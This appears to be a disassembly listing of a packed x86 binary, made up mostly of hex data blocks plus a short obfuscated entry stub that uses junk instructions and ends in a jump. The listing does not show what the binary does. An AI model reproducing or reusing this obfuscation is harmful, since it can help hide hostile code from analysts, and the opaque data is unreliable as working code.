		dd 6CC0CD2Eh, 88811B5Bh, 8523875h, 0A1C774F1h, 0AF0E515h
		dd 0CB4F1771h, 0F26A0E10h, 819C0DC5h, 5BD693E1h, 46A635DCh
		dd 0FD6964BFh, 0D1FD3h,	0F19F6500h, 0C066B910h,	8E3AC827h
		dd 60041E71h, 2FDB2887h, 0A097ABD2h, 0F75AB763h, 76A872Dh
		dd 50BF58FAh, 57C829D1h, 0D247B6DAh, 0C5E100E2h, 0EA946D9Ch
		dd 4FB10D9Eh, 887E9AEEh, 0E5580CE8h, 9234C958h,	9091F811h
		dd 0E57409E6h, 0C1E56E1Dh, 97BEFA8Dh, 94116C18h, 3885E7F7h
		dd 0AB2ABEFBh, 500E88Ah, 702BBD36h, 0DA0AF04Ah,	0B29DDA63h
		dd 63BCCF6Fh, 0DB2B46BFh, 0A979D031h, 96B79E2h,	8702F955h
		dd 0E30542F9h, 0AD07CF2h, 7C9544ACh, 48330AD0h,	0DCAB2813h
		dd 7B17145h, 4F6FFC88h,	41350EDh, 49DF54FCh, 0C288ADh
		dd 9263B289h, 256AD20Ah, 0C661F29h, 58AC0000h, 1FE04FA8h
		dd 0F3339E7Bh, 0BD41A849h, 9493FE1Bh, 507209E6h, 916E1CEBh
		dd 0A13EE63Eh, 0F613B34Eh, 7E08A9Bh, 8E4FA19Eh,	2800E2D2h
		dd 946DD70Ah, 72DD9EEAh, 0FD8A0BB3h, 0AA3E7FE1h, 0CE88366h
		dd 9DEC0D70h, 0AC03DC82h, 611AA56h, 0ED3756FEh,	0C73C3947h
		dd 4F6FC326h, 983850EDh, 160CE8A1h, 2351FB0Bh, 0AD90CD46h
		dd 0A342B7DFh, 0D3200E8h, 0AA434D25h, 872CD6E5h, 0D5000000h
		dd 0A951D0BFh, 0E79541C6h, 0A57E098Ah, 91A7301h, 6CB61765h
		dd 0D22DBCC8h, 607ED32Ch, 7129BFFCh, 3D0CE8A6h,	5E2AD252h
		dd 86F5A223h, 0A71D5C5Fh, 45531F5Eh, 0BB0h, 815E0E1Ah
		dd 0D031D52Eh, 0E2FFA979h, 30D1738Fh, 439C4AD9h, 0D2510638h
		dd 9C64CB24h, 69B41BF4h, 40C128C9h, 6B207996h, 0E2D3D405h
		dd 0D547200h, 0EFEE02BFh, 4906FA82h, 651FDBEFh,	984DAE7h
		dd 70F5A166h, 8F680E11h, 7B9Fh,	926D7A00h, 81E78F1h, 6DC02A3Eh
		dd 83801877h, 0F9F810BDh, 5706FA4Ah, 9EEA69E4h,	0EE4FB10Dh
		dd 0B460A6B1h, 0FA4AAD2Ch, 0B3300B06h, 698EE206h, 68C80CE8h
		dd 656A14C8h, 6C14ECD1h, 6BE66500h, 0A78615B8h,	0A28CF85Eh
		dd 0B18h, 19F6A662h, 28C96DB6h,	7A9741C1h, 88690B17h, 0DB34E221h
		dd 6AB99EA0h, 34CC23BCh, 11C738Ch, 0D8298061h, 0D348D12Eh
		dd 0E2D03CBDh, 65FC9A00h, 0FD06946Dh, 3FAEDA59h, 5C303CE6h
		dd 2491C11Fh, 91BAE423h, 0A3F75314h, 0D0F74321h, 2674Eh
		dd 0D0BFEB00h, 4E28AD4Dh, 0D744AADh, 0EF102E70h, 9E1F9A5Ch
		dd 0A0CE0F61h, 156806FAh, 41CD2390h, 150CE8A2h,	0F7344926h
		dd 0E8A76091h, 67FFE00h, 740F0492h, 2F41FEBEh, 0FF534CAEh
		dd 0CB5A3508h, 9B185523h, 2F8CF0CEh, 41430DD9h,	0A6D2A9F5h
		dd 86379925h, 54021362h, 0AD0E6DF3h, 5EBB63A2h,	4BEB3621h
		dd 0A4C3403Dh, 0CDC7595Dh, 80FD8B35h, 93FA7705h, 0DE9BE993h
		dd 7503B063h, 9AD65E66h, 0A438Ch, 0CD7B8900h, 9C42DD2Ch
		dd 6A16EC43h, 3CE0228Dh, 0BB74CA3h, 0C47357EEh,	1B76933Fh
		dd 2B866309h, 74DB34D6h, 0B3E405ADh, 0D06B6AFEh, 29C500E2h
		dd 0EC926DB0h, 51B30B80h, 9859AFECh, 0F506FA82h, 744561ABh
		dd 0F14C1134h, 3FB5244Ch, 281306FAh, 63FA0EABh,	0AD0CE2FFh
		dd 24E26DCEh, 0F4710C78h, 0A048D847h, 9C18E847h, 0D590DC84h
		dd 7FD10068h, 0C6F00E2h, 0A9B8E391h, 5734B157h,	4F51B87h
		dd 0A200E27Fh, 81DF5CDBh, 79C7F92Dh, 209D16F8h,	0F0DA60C8h
		dd 5FB1EE0Ah, 0AD0EB9Eh, 75C64538h, 95721AEAh, 0FFA979E8h
		dd 107FF471h, 5F1C6810h, 0FF8D2DF0h, 9F660182h,	59AD2CF7h
		dd 44064BFh, 97F3Ah, 913FC500h,	60061970h, 2EDA2887h, 0A47ED1h
		dd 0CF7B88E7h, 370B32h,	57BA5703h, 67CA27CDh, 0B01FF89Ah
		dd 0F728C971h, 0D1A756BAh, 650100E2h, 0EFC652FCh, 3506FA83h
		dd 5C0A1908h, 96C4AEE7h, 4AD2788Bh, 0D0015681h,	0BFF87D77h
		dd 13A80CD2h, 7C43B2D6h, 9E9D06FAh, 0CC5B9825h,	82FF8D35h
		dd 65379F01h, 213F0CE8h, 68A5A01Bh, 986A0553h, 6EED88F4h
		dd 18C442CDh, 0E84C92FFh, 0FB0B1653h, 0CD462351h, 0F435F55Bh
		dd 0BDFE7D0Ah, 6A0C1100h, 0CA0B5D1Eh, 640ADD44h, 0CF219A19h
		dd 0ADD440Eh, 3150D5A8h, 46A946F0h, 23CC17BFh, 7664BCB3h
		dd 8CA2CFAh, 0F4300000h, 0BB44AB44h, 8F97FA17h,	59A504E5h
		dd 30F75AB7h, 0ECDE6582h, 0ED0AB84Fh, 3DDA8282h, 52AF4FD2h
		dd 637C26FFh, 0F2E3053Ah, 4C00E2D6h, 61942BAEh,	0F506FA82h
		dd 0D865822Ch, 0E5395DB8h, 41C25A25h, 85369A24h, 99E7879Ah
		dd 7791BDC1h, 3CBB910Eh, 0C6167AC7h, 200CE8EAh,	0AC71E05Dh
		dd 7F82ED0Ah, 618791DFh, 42000008h, 0FC014F6Fh,	0D4532E5Ah
		dd 0A7450167h, 0C4010CE8h, 5725CB55h, 0A94B8A1Ah, 96E500E8h
		dd 8FFD401Dh, 0E8A9F2E7h, 75DD8200h, 0E5A0931Dh, 17AFCD6h
		dd 6D650000h, 0B82EE90h, 762553F9h, 1DC2651Ah, 0FA957FE8h
		dd 7CF98727h, 0F1996807h, 9D43DD4Ch, 6B1192EFh,	0D8621FE2h
		dd 26206AECh, 0BEFB40BFh, 0FA73AB2Ah, 0BD360506h, 8EE21F5Ch
		dd 6FA734Fh, 9544ACE9h,	3306FA73h, 3B53CD48h, 729CC555h
		dd 60BDCC49h, 9E89B2BEh, 0EA91DF87h, 0FAF55786h, 0F8AF106h
		dd 2D5A838Dh, 37AC010Fh, 36CF835Ah, 685E08Ch, 854A53B5h
		dd 79C406FAh, 0F10F2C0Bh, 0F917E95Dh, 541D96AEh, 5FFF02FEh
		dd 2840FD82h, 6FAB8A9h,	0D0BF3407h, 1ABC414Dh, 0FC81D19Fh
		dd 6606FAB8h, 38C5452Dh, 0C9147996h, 0C5BCD469h, 9306FAB8h
		dd 0B34DDCA8h, 0C04FEC0Dh, 4E199A3Eh, 0EB620EB6h, 43C34E1Ah
		dd 0B9CE0F99h, 0C75A06FAh, 88077627h, 0E27EC3FCh, 46DB0C98h
		dd 24C734A4h, 0CAA0E162h, 0C11EC65Eh, 82EE966Eh, 1046BFD9h
		dd 6BBAD8EEh, 0EB86F298h, 449AF76Ch, 71355BE0h,	750CE8F2h
		dd 7E86E906h, 9C21AAD6h, 0D544813Ah, 9AD7A54Bh,	0E813CB0Ah
		dd 9D166500h, 12F5C820h, 0D8A300E8h, 38E63DACh,	0F8F90F4Ch
		dd 5600E813h, 0D37F84E7h, 0D0BAEDA5h, 5F2DCD50h, 216AA722h
		dd 43CE0B49h, 116C18C2h, 0E8135687h, 88DF000h, 0E001A779h
		dd 0A3D17789h, 48DE9628h, 1695D09Ch, 112B43A5h,	18630AFAh
		dd 0E89090FFh, 1DE7720Fh, 1D6C0977h, 8FDA5B05h,	0D037D072h
		dd 50ED4F6Fh, 0E87D1438h, 6D1B620Ch, 627F23FCh,	0EA506F07h
		dd 8203F69Eh, 3A7306FAh, 4A84C9DEh, 0FA8BB726h,	0B22A1106h
		dd 28AD9BFEh, 4DBF137Fh, 22D0F7A8h, 2Fh, 926DC7h, 91DF5AFEh
		dd 0FA8210C1h, 91F93206h, 0FE88E91h, 22D33572h,	0BC06FA82h
		dd 422ED02Dh, 0A52BA827h, 6FA9D74h, 0FFAB428Ch,	6D07FFFFh
		dd 708BEA94h, 0EA506F11h, 215EE38Bh, 0FA820ECFh, 0E18D9A06h
		dd 2D44C1BCh, 18AA21BFh, 8910B65Ah, 0C4A1CF79h,	8B15CC49h
		dd 0E4D3F7A6h, 32h, 0EA506F8Dh,	0A829BF8Bh, 606FA82h, 6877C62Ah
		dd 0AC2BCF8Ch, 6DD8BFD5h, 3FBED292h, 5A06FA82h,	557374D3h
		dd 0E2590221h, 0F58C0C67h, 57D2h, 21BFB700h, 322C2284h
		dd 4CF20D7Dh, 0A7C64520h, 0AAC7B55Fh, 1F835C29h, 0A829BF44h
		dd 3706FA82h, 459BF546h, 0D656FF86h, 0BFEF8203h, 0FFB54521h
		dd 6EE7BB3Ah, 0D0BF4ED1h, 422DA652h, 6A30F1C1h,	0EC89F797h
		dd 0BF93F271h, 82EFEE02h, 1E4906FAh, 56136105h,	97EE5ADBh
		dd 9DEB956Dh, 0FA8204F5h, 0C4013E06h, 0FA822DACh, 33B08B06h
		dd 1AE81872h, 25C7916Eh, 0F06FA72h, 542450F2h, 7B0A4468h
		dd 0C0AB2601h, 93EE9A3Eh, 0F408CA14h, 6D8FFFFFh, 0BE13EC92h
		dd 0C27FBC20h, 32B280A6h, 0E9383B39h, 0DF41C241h, 0CE8F383h
		dd 413A893h, 0BD69BEFEh, 0BE37323Eh, 2233A6CEh,	1E4300E8h
		dd 0E73B2634h, 0B93A3745h, 0E5278606h, 7EBD6h, 0D28E0000h
		dd 1, 53D0BFB7h, 7D412EA7h, 3A4EA21Bh, 3C0CE891h, 936DFC41h
		dd 7AE29FEDh, 0B06DC4D5h, 0A4C84DE7h, 0DB34DA25h, 0E8F1928Dh
		dd 276BB600h, 618734DEh, 0E8F070h, 17F06FCEh, 0D42965B8h
		dd 0AC2B4632h, 0CD485EC0h, 6CFD8B35h, 0D79DEB97h, 79E6F65Ch
		dd 53AE5A30h, 2AFB56B3h, 0D42C3B80h, 1673B72Ch,	65AF670Fh
		dd 59A85832h, 0C571D0B1h, 0D1777FCBh, 130A4h, 7B889700h
		dd 4FC4A1CFh, 53D0BF28h, 16F81BAh, 0AF2A217Dh, 422FA4C1h
		dd 0BF781B7Bh, 2BA850D0h, 827E7A8Eh, 0FB3806FAh, 0FA826495h
		dd 2345C206h, 6FA82B2h,	31B2310Ch, 0BF492855h, 2C324BD8h
		dd 51EA946Dh, 0E79541C6h, 7C1EE38Ah, 11706007h,	51EA506Fh
		dd 0E9973FC6h, 8664EE91h, 0A827F088h, 84E3542Bh, 0F77FDBC5h
		dd 58D4D3h, 0BF7D0000h,	2EA753D0h, 0C2267E41h, 6FA8213h
		dd 0EA53CEADh, 85A553ADh, 90DDE34Fh, 0FA61D100h, 970C6F06h
		dd 0A829BFF0h, 606FA82h, 4C47B22Ah, 0A063AAD3h,	19D34D68h
		dd 0CA26B63Fh, 0D4EA64E7h, 0BF7B1A99h, 0C721BFD8h, 0DA8D7989h
		dd 45DEA92Ah, 0F58CC6A1h, 59D2h, 506FB700h, 823DBCD4h
		dd 0A09B06FAh, 0D0BF4225h, 9CD9A753h, 87769A27h, 0C106FA82h
		dd 0AE27CF56h
		dd 4B271C0h, 3D7EFD78h,	82696880h, 4AC706FAh, 0FA82B726h
		dd 0AF2A1106h, 2BF5336h, 16621017h, 0D9E9C15Bh,	0BE53219Bh
		dd 2BF2245h, 0FA82EFEEh, 71F24906h, 0E690D16h, 0D4D2F58Ch
		dd 6DFFFFFEh, 8219D830h, 7C8506FAh, 31B289D2h, 0F7946D5Eh
		dd 44C84B4h, 8734B3C1h,	0F00D8998h, 0C8A5D34Eh,	57E49F50h
		dd 1B98D1EBh, 8129F851h, 0B1BDDB60h, 40004342h,	835B28ADh
		dd 0B0749C21h, 0B60CE803h, 2CA9B9C7h, 5C00E817h, 796B3F2Bh
		dd 16D6E512h, 33h, 0ED4F6FB3h, 0A5A43850h, 7120CE8h, 512C58FAh
		dd 7B487D4h, 0E4610918h, 0AF0DC898h, 0C07D00E8h, 5D2BCD51h
		dd 88E2A320h, 0E5A6B030h, 0DCD9D6h, 6D780000h, 0DD9EEA94h
		dd 7D0BB372h, 1FE48300h, 3A560573h, 294E3DAh, 4524A1BFh
		dd 8125FEBCh, 0E177602h, 24DD8B64h, 9206FA36h, 0CFC23355h
		dd 211C06FAh, 600CB84Eh, 20E18005h, 0EF369976h,	0CD23947h
		dd 0FDFD13A8h, 0B90CE8DDh, 0C04058AEh, 92EF9D18h, 0FD16C729h
		dd 0CDB000E8h, 42DC0B48h, 69C6239Eh, 0CD4EE55h,	7FA9E09Eh
		dd 55ACBB00h, 9A19BF41h, 0A51293EEh, 0F53CC743h, 1F9C9F0Ah
		dd 0AA47F330h, 0C312C047h, 64BBCB16h, 69230D79h, 0D3000002h
		dd 0E74AA755h, 3699761Ch, 44AB44F0h, 96F916BAh,	7104E591h
		dd 6D19EE4Dh, 3DE33D8Ch, 0EB04DDCh, 0DF879EF1h,	4CA49902h
		dd 0E2D88Dh, 6DCA0F2Bh,	0A00FE896h, 0C704B961h,	8277668Ah
		dd 6AD106FAh, 0FA82FBFAh, 6DE65506h, 4F6F358Ch,	3CC150EDh
		dd 749C199Ah, 0CE8A598h, 8634F35Eh, 59067FFAh, 0D04FF70Eh
		dd 0AF19DCA4h, 728D00E8h, 0D729A0CCh, 16114331h, 0E4AD203Ch
		dd 0A6CA3A8Eh, 6A7D6E5h, 42000001h, 9EEA946Dh, 3E4AF80Fh
		dd 29A8C07Dh, 8706FA82h, 10A93FB4h, 4C06FA7Eh, 4FEC0DB5h
		dd 779CBD31h, 4ECEC621h, 0B1352B8Dh, 0BAD54E3Ah, 56B5C36Bh
		dd 71972488h, 0CE85581h, 14D2523Dh, 0E875FDFCh,	65E05B00h
		dd 0BCD95A17h, 402CD22Dh, 12BA4A25h, 738C0B66h,	0DF5CC01Eh
		dd 8A0BAF70h, 0D1ACDB2Dh, 5B860AF5h, 14A924C6h,	0F34780F4h
		dd 0C30C8C2Eh, 48F56EECh, 5D051C0Bh, 0CC7A89D8h, 1FDE326Fh
		dd 0B90ADD35h, 4430D42Eh, 0D029AA29h, 8E504DABh, 0A819FDF0h
		dd 1BC75C2Bh, 0BC9233C8h, 3C0A4664h, 140h, 31CE7E8Ah, 40A145DEh
		dd 926F19E9h, 0A041E33Fh, 0F30CBA49h, 42C17648h, 0C147B94h
		dd 0D9248B64h, 0B071D839h, 0FBB0E906h, 0E2D96495h, 0BD24C200h
		dd 7F7521BFh, 38ED590Fh, 0FAB421D0h, 41BCBF06h,	5C5EA5C4h
		dd 15501CC4h, 87C47996h, 0B4B7264Ah, 2A1106FAh,	0FAB43BBAh
		dd 2DA69506h, 0FE1BC342h, 0EA946D9Bh, 4CF60F9Eh, 1C805EB3h
		dd 9BE1499Fh, 0E6D0CE8h, 0BB63A2ADh, 32A3C502h,	8C00E8AAh
		dd 74DB34B1h, 147705ADh, 0D37B8ACAh, 0F04DC8A5h, 0F0BBF998h
		dd 0BD64D70Ah, 64BF5454h, 9DFDCB87h, 0E7000000h, 3B967321h
		dd 4AA542E8h, 98F710BCh, 0AA05E286h, 2D50B15Dh,	39E52219h
		dd 9AF71D8h, 0DA7C81E8h, 0AB53D23Dh, 3058D54Eh,	0E2DEC1h
		dd 6F1E431Fh, 3850ED4Fh, 0CE2931Dh, 1574007Bh, 0F885620Ch
		dd 0C2A455BBh, 3B0200E2h, 0AC56AFBAh, 5CFFB0C0h, 17EB25AAh
		dd 79FFB968h, 26A57AF8h, 8B31F35Ah, 88E2A5FDh, 0AE842D74h
		dd 1DE7B372h, 75D9E577h, 0D0F6339Bh, 0A679E855h, 0F16C14ECh
		dd 0ED349B74h, 31AC5AA9h, 9438CA43h, 0AC86CFE8h, 1CFDA57Ch
		dd 0BECA748Dh, 390h, 0F9987100h, 9BE9976Dh, 3D4BF332h
		dd 0C3B151ACh, 6612BA4Ah, 67220E7h, 0A6D28087h,	4B39DB27h
		dd 0EC9844C2h, 70FCA27Dh, 4EC832Dh, 89243C89h, 4C781E7h
		dd 83000000h, 3C8704EFh, 0A8685C24h, 8900006Ah,	89512404h
		dd 4C181E1h, 81000000h,	4E9h, 240C8700h, 240C895Ch, 527CB951h
		dd 0E1816999h, 2DBC309Eh, 6802E9C1h, 0
		dd 59240C29h, 0CEE98149h, 89EF81B9h, 0EC8359C8h, 24248904h
		dd 4240481h, 59000000h,	14FD68h, 24048900h, 0FF08418Fh
		dd 83592434h, 34FF04C4h, 0C4815824h, 4,	0FA22A3E9h, 3C70CFFh
		dd 5094D5E0h, 0B4FC61D7h, 4CB87F2Dh, 306185Dh, 85C650C5h
		dd 6120259h, 17256847h,	0B5FFCF38h, 6122E19h, 3B56858Dh
		dd 0D0FF0612h, 858DD88Bh, 61227BDh, 1046850h, 0D3FF0000h
		dd 25985C6h, 68530612h,	8307F8BFh, 2E19B5FFh, 858D0612h
		dd 6123B56h, 8589D0FFh,	6183FE4h, 285BD83h, 0F000612h
		dd 0B84h, 459D8B00h, 0E9061202h, 5, 0BBh, 1006800h, 0B58D0000h
		dd 6183FE8h, 95FF5356h,	6121A79h, 3FE8B58Dh, 0F0030618h
		dd 1E9h, 3E804E00h, 9840F5Ch, 80000000h, 850F2F3Eh, 0FFFFFFEDh
		dd 8D0006C6h, 183FE885h, 95FF5006h, 6183FE4h, 0C1E0FF58h
		dd 4D26A863h, 0D769C991h, 7441C6D7h, 0E60CF32Ah, 0BD62B0F3h
		dd 411EA296h, 0F675FC11h, 1A4702AAh, 0E766341h,	177A5449h
		dd 0C90BAEB4h, 146038D7h, 1A7630E0h, 0D47CA4EFh, 0C67CBE93h
		dd 278B5F3h, 786FC7C9h,	82130D87h, 0F83C5223h, 74532187h
		dd 817F3555h, 0F07D6194h, 0F854C1ECh, 720ECFF1h, 7E33F453h
		dd 44051531h, 4231BAB7h, 0E521A3C7h, 0D448185Ah, 0E93F3B1Ch
		dd 10h,	10848A11h, 3 dup(0)
		dd 531E9h, 0DBB4900h, 0DC829DECh, 0AA56AC03h, 7C20E24Dh
		dd 4BF70C63h, 84B397AEh, 0DB36D37Fh, 0EB46A349h, 349B7416h
		dd 73A445EDh, 0DD2BAA3Eh, 0E98500E2h, 6946D70h,	4A275501h
		dd 9EFAA1CFh, 0CC05CF7Dh, 6DFC79B6h, 53FF0496h,	35786EAh
		dd 8AF106FAh, 869FF20Fh, 3A46F230h, 55B4C03Fh, 0F75622CCh
		dd 2A35862Ch, 0CB5833DBh, 4FD6A61Fh, 31BDB2CEh,	6E77D145h
		dd 2AD6BCF5h, 4D8A33DBh, 0FA82BA3Bh, 5D9CF406h,	0FB06FA82h
		dd 0E360DB80h, 0B85AA70Ah, 8D2DF05Fh, 0EE966EFFh, 66CA582h
		dd 0D667071Ah, 7F0EBC4Bh, 6079FAA8h, 16B74CDBh,	0E25209A0h
		dd 911291A2h, 0F9872FF6h, 0FAAC6D69h, 61C97E06h, 0F7A59F09h
		dd 35F0D0h, 6D910000h, 0F69EEA94h, 6FA8201h, 0F3C7A314h
		dd 0D0F78BF1h, 19Eh, 926D3B00h,	2D5BFF00h, 26A7D550h, 0C24B39DDh
		dd 41D09C40h, 45DE4A20h, 18E940A1h, 0BF36916Eh,	0DBA951D0h
		dd 0BD4A259Eh, 8218D92Fh, 0C7B606FAh, 52B6F348h, 6FA82A3h
		dd 0B7C53E3Dh, 5B29CD56h, 0FC8834F2h, 9CE8966Dh, 0CF778EE1h
		dd 0E54D86A1h, 52386FC9h, 7976E404h, 0C014C52Bh, 0CBB206FAh
		dd 0EBE23E51h, 5A081F6Ah, 36D352BDh, 0E931D581h, 7D0B863Ch
		dd 970DA23Eh, 0B7F8AEB5h, 0CB48C76Dh, 0CEBA66BCh, 0BE9CF6BBh
		dd 0BF404ED3h, 95106D1Bh, 0D6098AE7h, 0D0F788C6h, 4CABh
		dd 966D4E00h, 0F50D9CE8h, 53943D4Bh, 4EFC0BF7h,	0FCA062EDh
		dd 4ED96687h, 0F8970CB8h, 98F17F2Bh, 0D396E286h, 0ECECC4AEh
		dd 60D0F789h, 98A2CF1h,	3F71h, 966D1000h, 0E4664CF5h, 0EC6BE2BCh
		dd 52F40980h, 57336426h, 51AE5CABh, 926DF6h, 91DF5AFEh
		dd 0FA8215C1h, 0B9910606h, 0F78BE7E1h, 0F01855D0h, 0F9057601h
		dd 708DDC5Fh, 13555CEh,	0DC000000h, 9DEB956Dh, 431D82DEh
		dd 0CA5F1DA5h, 3FE73E49h, 553D7631h, 0BFCBE907h, 0CE513165h
		dd 40EC3A55h, 7B009DFBh, 7804B271h, 44BA63FDh, 0D03DDE57h
		dd 0D411AA0Eh, 27FF1CB4h, 314C38DAh, 6E75D1AFh,	5B5363F5h
		dd 0DC4B0CE8h, 4B38BC41h, 214682CAh, 97421A2h, 54C254B4h
		dd 8354D47Ch, 56C17A02h, 0DCAB28CCh, 7B17145h, 1006F88h
		dd 9C5B2B59h, 0C700E898h, 0BF69B9A8h, 0E5250D46h, 8CC9721Ch
		dd 0E8987564h, 0F068D300h, 0E0007B6Eh, 0F5168F0Ah, 0A345D948h
		dd 4C1B98D5h, 791FE1B5h, 4BD641FAh, 23A0DDABh, 8931F059h
		dd 86EC5BFBh, 9F49D948h, 9746AAD1h, 3100E890h, 3B56CF4Ah
		dd 0E0A740EAh, 0D6E599E0h, 0F11754h, 5E00E884h,	530466DFh
		dd 0AD000001h, 50ED4F6Fh, 0AC7B41C1h, 78F772FEh, 51E710Ch
		dd 0DD561361h, 0A7D40860h, 0E5220CE8h, 9D07A77Ah, 0E8A95Ch
		dd 550283FAh, 87E19AE6h, 0D18F68F5h, 9AF56E7Ch,	0AB06E38Bh
		dd 45C4B05Ah, 2E6612BCh, 10111179h, 0BD4AD566h,	9544AC11h
		dd 3300E801h, 7732CB48h, 0D6E50875h, 511Ah, 2BFBF00h, 0FA82EFEEh
		dd 71F24906h, 0D865CD14h, 0BDD3E1B0h, 0F07CFF34h, 0FA827160h
		dd 7C22FD86h, 0DF8999F0h, 0DCB6F191h, 826B6AFEh, 76C586FAh
		dd 92F84BFBh, 0A04ED544h, 0E7B4623h, 11F14651h,	0FA43BEF9h
		dd 0BD97C796h, 0BD5A21B4h, 0A5EDh, 4F6F7400h, 0A83850EDh
		dd 60CE876h, 0D5124937h, 0E89E42B3h, 24A19C00h,	0F512BC45h
		dd 6AFE8B9Ah, 751BE5D3h, 0E1F26A07h, 63118C11h,	0E8594913h
		dd 0AB87B000h, 0E5053ADh, 8E476E0h, 5EBE9D23h, 42C37314h
		dd 0DB34DE27h, 0B7046876h, 6A18EF7Ah, 0F1631Eh,	5E00E87Ch
		dd 0CE728CDFh, 6EABE855h, 0E87DDB1Ah, 0C188B600h, 0AFD2103Ah
		dd 82168FEEh, 0AF063A8h, 7CED9BE2h, 0B08FFDA5h,	0E1819C8Bh
		dd 145DD693h, 0B5D3103Eh, 0DDDD5023h, 0EBEA7A07h, 450AD0D2h
		dd 0E2610D1Ah, 56BA0461h, 64A983E5h, 9AE100C8h,	4F6F1A7Dh
		dd 423850EDh, 0C0CE234h, 0F8184331h, 0DD33106Eh, 0E2DB1Ch
		dd 1259C3BAh, 5B36AFB4h, 8C9B20CAh, 0B14ACB77h,	0DE809D8Ch
		dd 53FB0A65h, 5F535D25h, 0D8691B46h, 0C76FB672h, 943EC72Ah
		dd 179D61E8h, 5F1A660Ch, 529B94E0h, 51F908F8h, 1EC859B0h
		dd 0D4452h, 9AD70000h, 4F288776h, 0D95A211Ah, 6DF99886h
		dd 329BE997h, 0AC3D4BF3h, 4AC3B151h, 0E76612BAh, 87067220h
		dd 27A6D280h, 0C24B39DBh, 7DEC9844h, 2D70FCA2h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		push	413Eh
		mov	[esp], ecx
		push	ebx
		push	68E20727h
		pop	ebx
		or	ebx, 76515F50h
		add	ebx, 8724FFADh
		push	ecx
		mov	ecx, ebx
		mov	esi, ecx
		pop	ecx
		pop	ebx
		push	0E85h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	esi
		push	esi
		mov	esi, 7F3809EAh
		sub	[esp+4], esi
		pop	esi
		pop	dword ptr [ecx+8]
		add	dword ptr [ecx+8], 7F3809EAh
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_55074C
; ---------------------------------------------------------------------------
		db 1, 9Fh, 0BEh
		dd 904C4C6h, 0C3B8FE61h, 3061863h, 1E0FFC5h, 586F0182h
		dd 0AF30F7C4h, 2921B3EEh, 0DF65A8CFh, 8F621CCBh, 0C204BAF9h
		dd 0DC1FF244h, 1B1BAFE3h, 1C649A56h, 2861CDB6h,	0F75B225h
		dd 443026BEh, 0D3B7E42h, 837E9C88h, 572F0AC3h, 0C730DB5h
		dd 0CF03D7D2h, 0CE3FBE12h, 382B5688h, 0E73D79DBh, 0B32C3B06h
		dd 0E414983Dh, 67051E96h, 8E652602h, 8351880h, 157B792Bh
		dd 0E87B2844h, 0Ch, 0E7F71204h,	3B3254D8h, 6BD222D7h, 1D290CB8h
		dd 66605B61h, 0EB81F08Bh, 5EAF2690h, 9C38161h, 0E9000072h
		dd 6, 50C79364h, 0F6339A40h, 38F0Fh, 0BF0F0000h, 1E34FFC6h
		dd 5FCA8B66h, 14E960h, 7E560000h, 0ACA2F840h, 46B76AEEh
		dd 7BB25E8Ch, 0CE7D447Fh, 6E8887Eh, 65000000h, 30820080h
		dd 850FA6h, 5E000000h, 7CF78161h, 80023775h, 0C7815DD1h
		dd 1B26674Ah, 6B1AB866h, 0AD7AF781h, 0B866608Eh, 0F9576E9Bh
		dd 0FC33048Fh, 0EE83C88Bh, 0D38B6604h, 8ED0FE81h, 850FFFFFh
		dd 1Ah,	0C7BB5EB8h, 2FE919h, 0C5F40000h, 8C77B1Ah, 97F48D04h
		dd 0D02C8DACh, 0DA81782Eh, 6A832592h, 0FFFF70E9h, 7011E0FFh
		dd 4AB55AA6h, 5297EA39h, 0CB9E5EC0h, 8FC9709Ah,	0DE80Ch
		dd 2B280000h, 2DADB832h, 2EAEA15Eh, 0B7DDAE2Eh,	8166594Dh
		dd 81E199DEh, 59F5C1h, 0A8E0F00h, 0E9000000h, 5, 8DE23AA6h
		dd 164D6892h, 0B70F0000h, 0F78158F9h, 15092500h, 860F118Bh
		dd 0Ah,	5E9h, 0A24E8600h, 0F281D7B2h, 2D5CBDDEh, 81F28B66h
		dd 6B4152EAh, 7E904h, 611E0000h, 0F8466B05h, 81EA8178h
		dd 523ACD6Eh, 5B02E380h, 0B70F6052h, 58F0FC6h, 66000000h
		dd 2D3FD181h, 8B018F61h, 83E981F0h, 0F83D54C7h,	0C77FC181h
		dd 11E83D54h, 3C000000h, 8C63404Fh, 79F76425h, 8E91436h
		dd 512E1B66h, 0E8815FFCh, 1, 0FF82850Fh, 6660FFFFh, 0F52C28Bh
		dd 8Eh,	8D615F00h, 1866E88Dh, 8D89FC06h, 6122791h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 87C35646h, 66686647h
		dd 0C77B2CB8h, 12343985h, 6BD006h, 85C7F500h, 6122E5Dh
		dd 0
		dd 4698D89h, 0B5FF0612h, 6122EA5h, 880FD38Bh, 6, 2BF1858Bh
		dd 95FF0612h, 6120AC9h,	2F55958Bh, 6A0612h, 247595FFh
		dd 0C08B0612h, 0E2A10CEBh, 35FA25E2h, 825E818h,	28E9EE72h
		dd 0C2000000h, 9359DC3Dh, 9DE61D8Ch, 6E2E81E8h,	6C6C6474h
		dd 6C6C642Eh, 0BD146700h, 0B98003B2h, 0FEh, 0
		dd 0E9000000h, 752h, 1868D668h,	193EE906h, 9A68FFFAh, 0E9061869h
		dd 0FFFA1934h, 186A7668h, 192AE906h, 4F68FFFAh,	0E906186Bh
		dd 0FFFA1920h, 186C5468h, 1916E906h, 1A68FFFAh,	0E906186Dh
		dd 0FFFA190Ch, 0B14EFE0Ah, 0C021C55Eh, 12EF9969h, 20C163BFh
		dd 738C3AC9h, 0C241F6C8h, 8C94FB14h, 59A40BE4h,	30F158B9h
		dd 7B306986h, 0E2E5E415h, 3DA44200h, 29D2h, 2BFB700h, 0FA82EFEEh
		dd 31E4906h, 0DD581563h, 4EF80958h, 0B05AAB22h,	5A061C0Bh
		dd 39D2532Eh, 0FA82AA2Fh, 43E33E06h, 21BF43A6h,	7DDDAE13h
		dd 0CC991A70h, 80D993F2h, 8EB4F16Bh, 306DAA13h,	0FA7819D8h
		dd 0B317406h, 0B6AE19D1h, 2EF796E5h, 0E1990F84h, 2D0CE8ADh
		dd 0A752224Eh, 0D700E8DAh, 9F8AC8A2h, 0D994E082h, 0D32BA55Ch
